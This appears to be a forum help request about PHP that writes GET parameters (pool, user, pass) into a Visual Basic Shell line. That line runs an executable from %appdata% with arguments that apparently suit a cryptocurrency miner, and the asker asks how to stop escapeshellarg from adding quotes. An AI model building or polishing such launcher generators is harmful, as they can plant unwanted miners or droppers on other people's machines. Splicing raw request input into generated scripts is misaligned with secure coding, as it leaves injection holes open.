OK, so:
1
$pool = rawurlencode($_GET['pool']);
$user = rawurlencode($_GET['user']);
$pass = rawurlencode($_GET['pass']);
$url = "?pool=$pool&user=$user&pass=$pass";
file_get_contents($url);
2
$pool = escapeshellarg($_GET['pool']);
$user = escapeshellarg($_GET['user']);
$pass = escapeshellarg($_GET['pass']);
$file_content[117] = 'Shell "cmd.exe /c cd %appdata% & test.exe -o ' . $pool. ' -u ' . $user . ' -p ' . $pass . ' -I 13 & pause", vbMaximizedFocus
When entering teste.net:22555&user=1&pass=1
As a get request I'm getting extra quotes in my code, e.g. in where $pool should be, it's parsing correctly but in quotes like "", same with $user & $pass.
e.g.:
Shell "cmd.exe /c cd %appdata% & test.exe -o "test:22555" -u "1" -p "1" -I 13 & pause", vbMaximizedFocus
This can't happen I can't have quotes here, please help. Thank you.